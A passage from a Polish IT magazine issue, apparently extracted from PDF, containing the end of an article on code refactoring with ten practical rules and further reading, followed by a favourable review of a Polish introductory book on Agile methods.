częściej dokonujesz refaktoryzacji, tym staje się to łatwiejsze, tak iż w locie roz-
poznajesz sytuacje, w których możesz stworzyć zrefaktorowane rozwiązanie. 

Stephen Covey, 7 nawyków skutecznego działania

background image

76

/ 6 

. 2014 . (25)  /

KLUB LIDERA IT

Żeby odnaleźć różnicę, porównaj implementację końcową z tego artykułu 

z początkową, umieszczoną w części pierwszej. W zasadzie obie wersje robią 
to samo, w prawie taki sam sposób. Jednak „prawie“ czyni wielką różnicę.

Ten artykuł przedstawił najbardziej użyteczne techniki refaktoryzacji. Owe 

20%, które najczęściej się przydaje. Jeśli chcesz dowiedzieć się więcej – na 
końcu znajdziesz kilka wskazówek, gdzie szukać dalej.

PRAGMATYZM PRZEDE WSZYSTKIM

W poprzednim rozdziale wspomniałem, nie przez przypadek, że stosowanie 
refaktoryzacji jest bardzo zaraźliwe, ale też niesie niebezpieczeństwo nega-
tywnych skutków jej nieodpowiedniego stosowania. 

Szczególnie na początku fascynacja refaktoryzacją jest bardzo niebez-

pieczna, choć niezwykle przyjemna. Najchętniej refaktoryzację robiłoby się 
na każdym kroku, dążąc do tego, aby program był idealny. Jednak nie o to 
chodzi.

Tworzenie oprogramowania polega na tworzeniu najprostszego możliwe-
go kodu, które realizuje założone wymagania.

Przedstawione  w  tym  artykule  przykłady  miały  na  celu  pokazać  sposób 
myślenia towarzyszący procesowi refaktoryzacji. Najważniejszy jest kon-
tekst, w jakim powstaje dane rozwiązanie, i to on jest bazą do tego, aby 
podjąć decyzję, czy należy zastosować daną refaktoryzację czy nie.

Dlaczego refaktoryzacja nie jest dobra na 
wszystko

Tworzenie oprogramowania jest częścią biznesu, który z kolei służy przede 
wszystkim wytwarzaniu wartości w sposób efektywny. Dlatego chociażby z 
tego punktu widzenia refaktoryzacji należy używać z rozwagą. Jeśli będziemy 
stosować ją nieodpowiednio, w pewnym momencie staniemy się całkowicie 
nieefektywni. Jednak jedno nie ulega wątpliwości – refaktoryzować trzeba.

Dziesięć przykazań dotyczących 
refaktoryzacji

Oto dziesięć przykazań dotyczących refaktoryzacji

2

:

1.  Jeśli kod już istnieje, refaktoryzuj, gdy dany fragment przynajmniej dwa, a 

najlepiej trzy razy sprawił Ci kłopot, bo był źle napisany.

2.  Jeśli kod już istnieje, refaktoryzuj, gdy dany fragment często ulega 

zmianom.

3.  Jeśli kod piszesz po raz pierwszy, staraj się na bieżąco eliminować zapachy 

kodu.

4.  Naucz się refaktoryzować w locie – gdy nabierzesz wprawy, wiele refakto-

ryzacji odbędzie się w głowie.

brak wiarygodnych danych odnośnie źródła pochodzenia ;-)

5.  Refaktoryzuj ewolucyjnie, a nie rewolucyjnie – stosuj metodę Małych kro-

ków, wprowadzaj jak najmniejsze zmiany.

6.  Refaktoryzuj regularnie – tylko wtedy efekty prawa wzrostu entropii nie 

zdominują Cię.

7.  Refaktoryzuj wtedy, gdy masz napisane testy lub jeśli refaktoryzacja jest 

automatycznie kontrolowana przez środowisko programistyczne.

8.  Przede wszystkim stosuj najprostsze refaktoryzacje: wydzielanie odpowie-

dzialności (wydzielanie klasy, metody lub pola), zmiana nazwy, nazywanie 
warunków i dekompozycja algorytmu na składowe.

9.  Używaj refaktoryzacji z rozwagą – jeśli widząc kod pierwszy raz na oczy, 

chcesz go natychmiast refaktoryzować, bez względu na to, czy będziesz 
się nim zajmował czy nie, to oznacza, że jesteś w poważnych kłopotach.

10. Ciesz się tym, co robisz – dzięki refaktoryzacji programowanie jest jeszcze 

przyjemniejsze.

I CO DALEJ… – INNE ŹRÓDŁA

Refaktoryzacja to rozległy temat, któremu można poświęcić niemal całe życie. 
Poniżej znajduje się kilka wskazówek, gdzie można dalej szukać informacji do-
tyczących tej techniki.

Szkolenia

Moim zdaniem najlepiej napisana książka, artykuł czy materiał video nigdy 
nie da tego, co bezpośredni kontakt z doświadczonym trenerem, który prze-
prowadzi przez niuanse technik refaktoryzacji i innych technik obiektowości. 
A co najważniejsze, trener odpowie na twoje pytania. Jeśli szukasz sposobu na 
to, aby jak najszybciej i jak najlepiej się nauczyć opisywanych technik, zapra-
szamy na szkolenia. Więcej na 

http://www.bnsit.pl

.

Trening indywidualny

Jest formą zdobywania umiejętności, która umożliwia pełne dostosowanie spo-
sobu nabywania kompetencji. Trening to indywidualne spotkania online, dzięki 
którym razem z trenerem poznasz dokładnie to, czego potrzebujesz, lub bę-
dziesz potrzebował w realizowanych projektach. Więcej na 

http://www.bnsit.pl.

Źródła

Zdecydowanie dwa najlepsze, bezdyskusyjne źródła zaawansowanej wiedzy:

 

Refaktoryzacja. Ulepszanie struktury istniejącego kodu, Martin Fowler 

i inni, WNT 2006

 

Refaktoryzacja do wzorców projektowych, Joshua Kerievsky, Helion 2005

W sieci

Oczywiście Google twoim zbawieniem. Hasło: refactoring, refaktoryzacja, 
refaktoring. Ponadto:

 

P

http://www.refactoring.com

 – blog utrzymywany przez Martina Fowlera

 

P

http://mbartyzel.blogspot.com

 – blog Michała Bartyzela

 

P

http://msieraczkiewicz.blogspot.com

 – mój własny blog

 

P

http://www.jaceklaskowski.pl

 – blog Jacka Laskowskiego

Mariusz Sieraczkiewicz

m.sieraczkiewicz@bnsit.pl

Od ponad ośmiu lat profesjonalnie zajmuje się tworzeniem oprogramowania. 
Zdobyte w tym czasie doświadczenie przenosi na pole zawodowe w BNS IT, gdzie 
jako trener i konsultant współpracuje z jednymi z najlepszych polskich zespołów 
programistycznych. Jego obszary specjalizacji to: zwinne procesy, czysty kod, 
architektura, efektywne praktyki inżynierii oprogramowania.

background image
background image

78

/ 6 

. 2014 . (25)  /

KLUB DOBREJ KSIĄŻKI

Rafał Kocisz

A

gile to grupa metodyk wy-
twarzania oprogramowania, 
która cieszy się coraz to więk-

szą popularnością. Agile po polsku 
znaczy: zwinny, sprawny, zręczny, co 
znajduje odbicie w założeniach, na 
których opierają się wspomniane wy-
żej metodologie.

Wydaje się, że zwinne metodyki 

wytwarzania oprogramowania sztur-
mem zdobyły rynki zachodnie (nie 
pamiętam już, kiedy ostatnio miałem 
do czynienia z zagranicznym klien-
tem, który chciałby prowadzić projekt 

kaskadowo). W tej sytuacji na usta ciśnie się pytanie: jak wygląda kwestia ich po-
pularności na rynku polskim? Bez przeprowadzenia stosownych badań trudno 
to dokładnie stwierdzić. Patrząc jednak na liczbę polskojęzycznych książek i pu-
blikacji nawiązujących do tej tematyki (a także opierając się na moich doświad-
czeniach zawodowych związanych ze współpracą z polskimi klientami), mogę 
pokusić się o postawienie tezy, że zainteresowanie metodologiami typu Scrum 
czy Kanban nieustannie rośnie również i na naszym, rodzimym podwórku. Bardzo 
cieszy mnie fakt, że oprócz tłumaczeń zachodnich książek traktujących o tej te-
matyce pojawiają się również solidne pozycje polskich autorów, przedstawiające 
Agile z bliższej nam perspektywy.

Jedną z takich pozycji, którą chciałbym przedstawić dziś w ramach Klu-

bu Dobrej Książki, jest tekst autorstwa Marka Krzemińskiego, zatytułowany 
Agile. Szybciej, łatwiej, dokładniej. Lektura ta powstała z myślą o osobach pra-
cujących w branży wytwarzania oprogramowania, które rozpoczynają swoją 
przygodę z praktykami programowania zwinnego i w związku z tym planują 
wypróbować je w praktyce.

Książka autorstwa pana Marka nie jest szczególnie obszerna, co pozwala 

przyswoić ją sobie w stosunkowo krótkim czasie. Tekst napisany jest bardzo 
przyjaznym, lekkim i prostym w odbiorze językiem: książkę czyta się łatwo i 
przyjemnie. Styl autora przypomina mi nieco teksty Wujka Boba (czyli Roberta 
C. Martina, autora takich tytułów jak Mistrz Czystego Kodu czy Czysty Kod oraz 
wielu innych książek, a jednocześnie guru w zakresie Zwinności). Co do samej 
treści, książka podzielona jest na wstęp, cztery rozdziały właściwe, bibliogra-
fię, załączniki oraz skorowidz. Rzućmy okiem na zawartość rozdziałów.

Rozdział pierwszy (Po co to wszystko? U mnie przecież działa!) to krótka, a 

przy tym lekka i zabawna część wprowadzająca, która świetnie spełnia swoją 
rolę: w bardzo inteligentny sposób zachęca czytelnika do zagłębienia się w 
kolejne rozdziały. Jak to robi? Przeczytaj i przekonaj się sam!

Rozdział drugi (To świetna zabawa!) pokazuje, że spotkanie z Agile nie 

musi być wcale nudne i poważne, a wręcz przeciwnie: im więcej jest w tym 
zabawy, tym lepiej.

Rozdział trzeci (Pierwszy dzień w szkole). Po dwóch luźnych i krótkich roz-

działach wprowadzających czas na bardziej konkretną treść. W tym rozdziale 
czytelnik znajdzie odpowiedzi na takie pytania jak:

 

» czym jest metodyka zwinnego wytwarzania oprogramowania?

 

» jakie metodyki zwinnego wytwarzania oprogramowania mamy do 

dyspozycji?

 

» kiedy powinno się wybrać daną metodykę?

 

» jakie pojawiają się problemy podczas wdrażania zadanej metodyki?

 

» jakie niesie ona korzyści.

Autor omawia wymienione powyżej kwestie w kontekście trzech najbardziej 
popularnych metodyk Agile, jakimi są: Programowanie ekstremalne, Scrum 
oraz Kanban.

Rozdział czwarty (Jedziemy z materiałem! - praktykujemy) to przegląd kon-

kretnych elementów ww. metodyk. Rozdział ten jest podzielny na trzy części: 
agile dla pierwszaków, starszaków oraz dla „najstarszaków". Czytelnik zapozna 
się tutaj z takimi elementami zwinnych metodologii jak:

 

» codzienne spotkania (ang. daily stand-up),

 

» historyjki użytkownika,

 

» tablica zadań,

 

» praca w cyklach iteracyjnych i planowanie iteracji,

 

» demonstracja,

 

» retrospektywy,

 

» programowanie w parach,

 

» definicja ukończenia zadań (ang. definition of done),

 

» lista historyjki użytkownika (ang. product backlog),

 

» planning poker,

 

» wykres wypalania iteracji (ang. burn down chart),

 

» prędkość zespołu (ang. team velocity),

 

» ciągła integracja,

 

» programowanie sterowane testami,

 

» samo-organizujący się zespół.

To, co bardzo pozytywnie uderzyło mnie w omawianej książce, to język: zwię-
zły, jasny i pełen humoru, oraz styl: luźny i bezpośredni. Trzeba jednak w tym 
miejscu zdecydowanie podkreślić, iż pomimo prostoty języka na każdym eta-
pie lektury czuje się, że autor jest doświadczonym specjalistą w tematyce, którą 
omawia. Inna sprawa  to drobne, ale bardzo miłe polskie akcenty w tekście. W 
trakcie lektury zagranicznych książek traktujących o tematyce zawodowej nie-
raz zdarzało mi się obserwować nawiązania do kina bądź literatury, zazwyczaj 
anglojęzycznej. Zawsze w takich sytuacjach było mi trochę smutno, bo przecież 
w polskiej kulturze nie brakuje dzieł literackich czy obrazów, do których warto 
nawiązywać. Tym większą radość sprawiły mi cytaty z takich klasyków polskiego 
kina jak „Rejs” czy „Wielki Szu” wplecione zgrabnie w treść książki.

Podsumowując: Agile. Szybciej, łatwiej, dokładniej to rewelacyjna pod ką-

tem merytorycznym treść połączona z lekkim, barwnym językiem. Jeśli szu-
kasz solidnego i przystępnego wprowadzenia w tematykę zwinności, to bez 
wahania sięgnij po książki autorstwa Marka Krzemińskiego. Nie pożałujesz.

Agile. Szybciej, łatwiej, dokładniej

Agile. Szybciej, łatwiej, dokładniej

Autor: Marek Krzemiński

Stron: 248

Wydawnictwo: Helion

Data wydania: 2014/04/23

background image
background image